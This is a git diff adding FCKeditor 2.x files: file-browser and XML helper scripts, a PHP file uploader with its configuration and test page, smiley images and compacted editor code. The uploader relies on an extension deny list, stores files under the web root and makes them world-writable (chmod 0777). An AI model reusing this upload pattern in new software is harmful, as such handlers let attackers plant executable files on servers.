+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: common.js
+ *     Common objects and functions shared by all pages that compose the
+ *     File Browser dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function AddSelectOption( selectElement, optionText, optionValue )
+{
+       var oOption = document.createElement("OPTION") ;
+
+       oOption.text    = optionText ;
+       oOption.value   = optionValue ; 
+
+       selectElement.options.add(oOption) ;
+
+       return oOption ;
+}
+
+var oConnector = window.parent.oConnector ;
+var oIcons             = window.parent.oIcons ;
+
+
+function StringBuilder( value )
+{
+    this._Strings = new Array( value || '' ) ;
+}
+
+StringBuilder.prototype.Append = function( value )
+{
+    if ( value )
+        this._Strings.push( value ) ;
+}
+
+StringBuilder.prototype.ToString = function()
+{
+    return this._Strings.join( '' ) ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/js/fckxml.js b/fckeditor/editor/filemanager/browser/default/js/fckxml.js
new file mode 100755 (executable)
index 0000000..3ac19a4
--- /dev/null
@@ -0,0 +1,133 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckxml.js
+ *     Defines the FCKXml object that is used for XML data calls
+ *     and XML processing.
+ *     This script is shared by almost all pages that compose the 
+ *     File Browser frameset.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKXml = function()
+{}
+
+FCKXml.prototype.GetHttpRequest = function()
+{
+       // Gecko / IE7
+       if ( typeof(XMLHttpRequest) != 'undefined' )
+               return new XMLHttpRequest() ;
+
+       // IE6
+       try { return new ActiveXObject( 'Msxml2.XMLHTTP' ) ; } 
+       catch(e) {}
+
+       // IE5
+       try { return new ActiveXObject( 'Microsoft.XMLHTTP' ) ; }
+       catch(e) {}
+
+       return null ;
+}
+
+FCKXml.prototype.LoadUrl = function( urlToCall, asyncFunctionPointer )
+{
+       var oFCKXml = this ;
+
+       var bAsync = ( typeof(asyncFunctionPointer) == 'function' ) ;
+
+       var oXmlHttp = this.GetHttpRequest() ;
+               
+       oXmlHttp.open( "GET", urlToCall, bAsync ) ;
+
+       if ( bAsync )
+       {       
+               oXmlHttp.onreadystatechange = function() 
+               {
+                       if ( oXmlHttp.readyState == 4 )
+                       {
+                               if ( oXmlHttp.responseXML == null || oXmlHttp.responseXML.firstChild == null)
+                               {
+                                       alert( 'The server didn\'t send back a proper XML response.\r\n\r\n' +
+                                                       'Requested URL: ' + urlToCall + '\r\n' +
+                                                       'Response text:\r\n' + oXmlHttp.responseText ) ;
+                                       return ;
+                               }
+                               oFCKXml.DOMDocument = oXmlHttp.responseXML ;
+                               if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+                                       asyncFunctionPointer( oFCKXml ) ;
+                               else
+                                       alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+                       }
+               }
+       }
+       
+       oXmlHttp.send( null ) ;
+       
+       if ( ! bAsync )
+       {
+               if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+                       this.DOMDocument = oXmlHttp.responseXML ;
+               else
+               {
+                       alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+               }
+       }
+}
+
+FCKXml.prototype.SelectNodes = function( xpath )
+{
+       if ( navigator.userAgent.indexOf('MSIE') >= 0 )         // IE
+               return this.DOMDocument.selectNodes( xpath ) ;
+       else                                    // Gecko
+       {
+               var aNodeArray = new Array();
+
+               var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument, 
+                               this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null) ;
+               if ( xPathResult ) 
+               {
+                       var oNode = xPathResult.iterateNext() ;
+                       while( oNode )
+                       {
+                               aNodeArray[aNodeArray.length] = oNode ;
+                               oNode = xPathResult.iterateNext();
+                       }
+               } 
+               return aNodeArray ;
+       }
+}
+
+FCKXml.prototype.SelectSingleNode = function( xpath ) 
+{
+       if ( navigator.userAgent.indexOf('MSIE') >= 0 )         // IE
+               return this.DOMDocument.selectSingleNode( xpath ) ;
+       else                                    // Gecko
+       {
+               var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument,
+                               this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), 9, null);
+
+               if ( xPathResult && xPathResult.singleNodeValue )
+                       return xPathResult.singleNodeValue ;
+               else    
+                       return null ;
+       }
+}
diff --git a/fckeditor/editor/filemanager/upload/php/config.php b/fckeditor/editor/filemanager/upload/php/config.php
new file mode 100755 (executable)
index 0000000..ee8266a
--- /dev/null
@@ -0,0 +1,60 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.php
+ *     Configuration file for the PHP File Uploader.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+global $Config ;
+
+// SECURITY: You must explicitelly enable this "uploader". 
+$Config['Enabled'] = false ;
+
+// Set if the file type must be considere in the target path. 
+// Ex: /userfiles/image/ or /userfiles/file/
+$Config['UseFileType'] = false ;
+
+// Path to uploaded files relative to the document root.
+$Config['UserFilesPath'] = '/userfiles/' ;
+
+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = '' ;
+
+// Due to security issues with Apache modules, it is reccomended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']   = array() ;
+$Config['DeniedExtensions']['File']            = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
+
+$Config['AllowedExtensions']['Image']  = array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']   = array() ;
+
+$Config['AllowedExtensions']['Flash']  = array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']   = array() ;
+
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/php/upload.php b/fckeditor/editor/filemanager/upload/php/upload.php
new file mode 100755 (executable)
index 0000000..48eea6d
--- /dev/null
@@ -0,0 +1,128 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: upload.php
+ *     This is the "File Uploader" for PHP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+require('config.php') ;
+require('util.php') ;
+
+// This is the function that sends the results of the uploading process.
+function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
+{
+       echo '<script type="text/javascript">' ;
+       echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
+       echo '</script>' ;
+       exit ;
+}
+
+// Check if this uploader has been enabled.
+if ( !$Config['Enabled'] )
+       SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;
+
+// Check if the file has been correctly uploaded.
+if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
+       SendResults( '202' ) ;
+
+// Get the posted file.
+$oFile = $_FILES['NewFile'] ;
+
+// Get the uploaded file name extension.
+$sFileName = $oFile['name'] ;
+
+// Replace dots in the name with underscores (only one dot can be there... security issue).
+if ( $Config['ForceSingleExtension'] )
+       $sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+$sOriginalFileName = $sFileName ;
+
+// Get the extension.
+$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+$sExtension = strtolower( $sExtension ) ;
+
+// The the file type (from the QueryString, by default 'File').
+$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
+
+// Check if it is an allowed type.
+if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
+    SendResults( 1, '', '', 'Invalid type specified' ) ;
+
+// Get the allowed and denied extensions arrays.
+$arAllowed     = $Config['AllowedExtensions'][$sType] ;
+$arDenied      = $Config['DeniedExtensions'][$sType] ;
+
+// Check if it is an allowed extension.
+if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
+       SendResults( '202' ) ;
+
+$sErrorNumber  = '0' ;
+$sFileUrl              = '' ;
+
+// Initializes the counter used to rename the file, if another one with the same name already exists.
+$iCounter = 0 ;
+
+// Get the target directory.
+if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
+       $sServerDir = $Config['UserFilesAbsolutePath'] ;
+else 
+       $sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
+
+if ( $Config['UseFileType'] )
+       $sServerDir .= $sType . '/' ;
+
+while ( true )
+{
+       // Compose the file path.
+       $sFilePath = $sServerDir . $sFileName ;
+
+       // If a file with that name already exists.
+       if ( is_file( $sFilePath ) )
+       {
+               $iCounter++ ;
+               $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+               $sErrorNumber = '201' ;
+       }
+       else
+       {
+               move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+               if ( is_file( $sFilePath ) )
+               {
+                       $oldumask = umask(0) ;
+                       chmod( $sFilePath, 0777 ) ;
+                       umask( $oldumask ) ;
+               }
+               
+               if ( $Config['UseFileType'] )
+                       $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
+               else
+                       $sFileUrl = $Config["UserFilesPath"] . $sFileName ;
+
+               break ;
+       }
+}
+
+SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/php/util.php b/fckeditor/editor/filemanager/upload/php/util.php
new file mode 100755 (executable)
index 0000000..f341c93
--- /dev/null
@@ -0,0 +1,44 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.php
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function RemoveExtension( $fileName )
+{
+       return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function GetRootPath()
+{
+       $sRealPath = realpath( './' ) ;
+
+       $sSelfPath = $_SERVER['PHP_SELF'] ;
+       $sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+       return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/upload/test.html b/fckeditor/editor/filemanager/upload/test.html
new file mode 100755 (executable)
index 0000000..df6a628
--- /dev/null
@@ -0,0 +1,137 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: test.html
+ *     Test page for the "File Uploaders".
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>FCKeditor - Uploaders Tests</title>
+               <script language="javascript">
+
+function SendFile()
+{
+       var sUploaderUrl = cmbUploaderUrl.value ;
+       
+       if ( sUploaderUrl.length == 0 )
+               sUploaderUrl = txtCustomUrl.value ;
+       
+       if ( sUploaderUrl.length == 0 )
+       {
+               alert( 'Please provide your custom URL or select a default one' ) ;
+               return ;
+       }
+       
+       eURL.innerHTML = sUploaderUrl ;
+       txtUrl.value = '' ;
+       
+       frmUpload.action = sUploaderUrl ;
+       frmUpload.submit() ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       txtUrl.value = fileUrl ;
+                       alert( 'File uploaded with no errors' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       break ;
+               case 10 :       // Custom warning
+                       txtUrl.value = fileUrl ;
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       txtUrl.value = fileUrl ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+               </script>
+       </head>
+       <body>
+               <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%">
+                       <tr>
+                               <td>
+                                       <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td nowrap>
+                                                               Select the "File Uploader" to use:<br>
+                                                               <select id="cmbUploaderUrl">
+                                                                       <option selected value="asp/upload.asp">ASP</option>
+                                                                       <option value="aspx/upload.aspx">ASP.Net</option>
+                                                                       <option value="cfm/upload.cfm">ColdFusion</option>
+                                                                       <option value="lasso/upload.lasso">Lasso</option>
+                                                                       <option value="php/upload.php">PHP</option>
+                                                                       <option value="">(Custom)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%">
+                                                               Custom Uploader URL:<BR>
+                                                               <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td noWrap>
+                                                               <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post">
+                                                                       Upload a new file:<br>
+                                                                       <input type="file" name="NewFile"><br>
+                                                                       <input type="button" value="Send it to the Server" onclick="SendFile();">
+                                                               </form>
+                                                       </td>
+                                                       <td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                       <td vAlign="top" width="100%">
+                                                               Uploaded File URL:<br>
+                                                               <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       Post URL: <span id="eURL">&nbsp;</span>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td height="100%">
+                                       <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/images/anchor.gif b/fckeditor/editor/images/anchor.gif
new file mode 100755 (executable)
index 0000000..5aa797b
Binary files /dev/null and b/fckeditor/editor/images/anchor.gif differ
diff --git a/fckeditor/editor/images/arrow_ltr.gif b/fckeditor/editor/images/arrow_ltr.gif
new file mode 100755 (executable)
index 0000000..9c59bfe
Binary files /dev/null and b/fckeditor/editor/images/arrow_ltr.gif differ
diff --git a/fckeditor/editor/images/arrow_rtl.gif b/fckeditor/editor/images/arrow_rtl.gif
new file mode 100755 (executable)
index 0000000..22e8649
Binary files /dev/null and b/fckeditor/editor/images/arrow_rtl.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/angel_smile.gif b/fckeditor/editor/images/smiley/msn/angel_smile.gif
new file mode 100755 (executable)
index 0000000..a95e053
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/angel_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/angry_smile.gif b/fckeditor/editor/images/smiley/msn/angry_smile.gif
new file mode 100755 (executable)
index 0000000..c667c5d
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/angry_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/broken_heart.gif b/fckeditor/editor/images/smiley/msn/broken_heart.gif
new file mode 100755 (executable)
index 0000000..938cce1
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/broken_heart.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/cake.gif b/fckeditor/editor/images/smiley/msn/cake.gif
new file mode 100755 (executable)
index 0000000..f6489d7
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/cake.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/confused_smile.gif b/fckeditor/editor/images/smiley/msn/confused_smile.gif
new file mode 100755 (executable)
index 0000000..aeb0539
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/confused_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/cry_smile.gif b/fckeditor/editor/images/smiley/msn/cry_smile.gif
new file mode 100755 (executable)
index 0000000..0758f42
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/cry_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/devil_smile.gif b/fckeditor/editor/images/smiley/msn/devil_smile.gif
new file mode 100755 (executable)
index 0000000..15518d7
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/devil_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/embaressed_smile.gif b/fckeditor/editor/images/smiley/msn/embaressed_smile.gif
new file mode 100755 (executable)
index 0000000..c431946
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/embaressed_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/envelope.gif b/fckeditor/editor/images/smiley/msn/envelope.gif
new file mode 100755 (executable)
index 0000000..66d3656
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/envelope.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/heart.gif b/fckeditor/editor/images/smiley/msn/heart.gif
new file mode 100755 (executable)
index 0000000..305714f
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/heart.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/kiss.gif b/fckeditor/editor/images/smiley/msn/kiss.gif
new file mode 100755 (executable)
index 0000000..f840ea6
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/kiss.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/lightbulb.gif b/fckeditor/editor/images/smiley/msn/lightbulb.gif
new file mode 100755 (executable)
index 0000000..863be6e
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/lightbulb.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/omg_smile.gif b/fckeditor/editor/images/smiley/msn/omg_smile.gif
new file mode 100755 (executable)
index 0000000..aabc7fd
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/omg_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/regular_smile.gif b/fckeditor/editor/images/smiley/msn/regular_smile.gif
new file mode 100755 (executable)
index 0000000..33f297e
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/regular_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/sad_smile.gif b/fckeditor/editor/images/smiley/msn/sad_smile.gif
new file mode 100755 (executable)
index 0000000..dfb78ef
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/sad_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/shades_smile.gif b/fckeditor/editor/images/smiley/msn/shades_smile.gif
new file mode 100755 (executable)
index 0000000..157df77
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/shades_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/teeth_smile.gif b/fckeditor/editor/images/smiley/msn/teeth_smile.gif
new file mode 100755 (executable)
index 0000000..26b5a55
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/teeth_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/thumbs_down.gif b/fckeditor/editor/images/smiley/msn/thumbs_down.gif
new file mode 100755 (executable)
index 0000000..f53ee72
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/thumbs_down.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/thumbs_up.gif b/fckeditor/editor/images/smiley/msn/thumbs_up.gif
new file mode 100755 (executable)
index 0000000..7e8c746
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/thumbs_up.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/tounge_smile.gif b/fckeditor/editor/images/smiley/msn/tounge_smile.gif
new file mode 100755 (executable)
index 0000000..b87ec44
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/tounge_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif b/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif
new file mode 100755 (executable)
index 0000000..c074122
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif differ
diff --git a/fckeditor/editor/images/smiley/msn/wink_smile.gif b/fckeditor/editor/images/smiley/msn/wink_smile.gif
new file mode 100755 (executable)
index 0000000..eefe61d
Binary files /dev/null and b/fckeditor/editor/images/smiley/msn/wink_smile.gif differ
diff --git a/fckeditor/editor/images/spacer.gif b/fckeditor/editor/images/spacer.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/images/spacer.gif differ
diff --git a/fckeditor/editor/js/fckeditorcode_gecko.js b/fckeditor/editor/js/fckeditorcode_gecko.js
new file mode 100755 (executable)
index 0000000..8b5e8fe
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ *
+ * This file has been compacted for better loading performance.
+ */
+var FCK_STATUS_NOTLOADED=window.parent.FCK_STATUS_NOTLOADED=0;var FCK_STATUS_ACTIVE=window.parent.FCK_STATUS_ACTIVE=1;var FCK_STATUS_COMPLETE=window.parent.FCK_STATUS_COMPLETE=2;var FCK_TRISTATE_OFF=window.parent.FCK_TRISTATE_OFF=0;var FCK_TRISTATE_ON=window.parent.FCK_TRISTATE_ON=1;var FCK_TRISTATE_DISABLED=window.parent.FCK_TRISTATE_DISABLED=-1;var FCK_UNKNOWN=window.parent.FCK_UNKNOWN=-9;var FCK_TOOLBARITEM_ONLYICON=window.parent.FCK_TOOLBARITEM_ONLYICON=0;var FCK_TOOLBARITEM_ONLYTEXT=window.parent.FCK_TOOLBARITEM_ONLYTEXT=1;var FCK_TOOLBARITEM_ICONTEXT=window.parent.FCK_TOOLBARITEM_ICONTEXT=2;var FCK_EDITMODE_WYSIWYG=window.parent.FCK_EDITMODE_WYSIWYG=0;var FCK_EDITMODE_SOURCE=window.parent.FCK_EDITMODE_SOURCE=1;var FCK_IMAGES_PATH='images/';var FCK_SPACER_PATH='images/spacer.gif';var CTRL=1000;var SHIFT=2000;var ALT=4000;
+String.prototype.Contains=function(A){return (this.indexOf(A)>-1);};String.prototype.Equals=function(){var A=arguments;if (A.length==1&&A[0].pop) A=A[0];for (var i=0;i<A.length;i++){if (this==A[i]) return true;};return false;};String.prototype.IEquals=function(){var A=this.toUpperCase();var B=arguments;if (B.length==1&&B[0].pop) B=B[0];for (var i=0;i<B.length;i++){if (A==B[i].toUpperCase()) return true;};return false;};String.prototype.ReplaceAll=function(A,B){var C=this;for (var i=0;i<A.length;i++){C=C.replace(A[i],B[i]);};return C;};Array.prototype.AddItem=function(A){var i=this.length;this[i]=A;return i;};Array.prototype.IndexOf=function(A){for (var i=0;i<this.length;i++){if (this[i]==A) return i;};return-1;};String.prototype.StartsWith=function(A){return (this.substr(0,A.length)==A);};String.prototype.EndsWith=function(A,B){var C=this.length;var D=A.length;if (D>C) return false;if (B){var E=new RegExp(A+'$','i');return E.test(this);}else return (D==0||this.substr(C-D,D)==A);};String.prototype.Remove=function(A,B){var s='';if (A>0) s=this.substring(0,A);if (A+B<this.length) s+=this.substring(A+B,this.length);return s;};String.prototype.Trim=function(){return this.replace(/(^[ \t\n\r]*)|([ \t\n\r]*$)/g,'');};String.prototype.LTrim=function(){return this.replace(/^[ \t\n\r]*/g,'');};String.prototype.RTrim=function(){return this.replace(/[ \t\n\r]*$/g,'');};String.prototype.ReplaceNewLineChars=function(A){return this.replace(/\n/g,A);}
+var s=navigator.userAgent.toLowerCase();var FCKBrowserInfo={IsIE:s.Contains('msie'),IsIE7:s.Contains('msie 7'),IsGecko:s.Contains('gecko/'),IsSafari:s.Contains('safari'),IsOpera:s.Contains('opera'),IsMac:s.Contains('macintosh')};(function(A){A.IsGeckoLike=(A.IsGecko||A.IsSafari||A.IsOpera);if (A.IsGecko){var B=s.match(/gecko\/(\d+)/)[1];A.IsGecko10=B<20051111;}else A.IsGecko10=false;})(FCKBrowserInfo);
+var FCKURLParams={};(function(){var A=document.location.search.substr(1).split('&');for (var i=0;i<A.length;i++){var B=A[i].split('=');var C=decodeURIComponent(B[0]);var D=decodeURIComponent(B[1]);FCKURLParams[C]=D;}})();
+var FCKEvents=function(A){this.Owner=A;this._RegisteredEvents={};};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this._RegisteredEvents[A])) this._RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this._RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;};
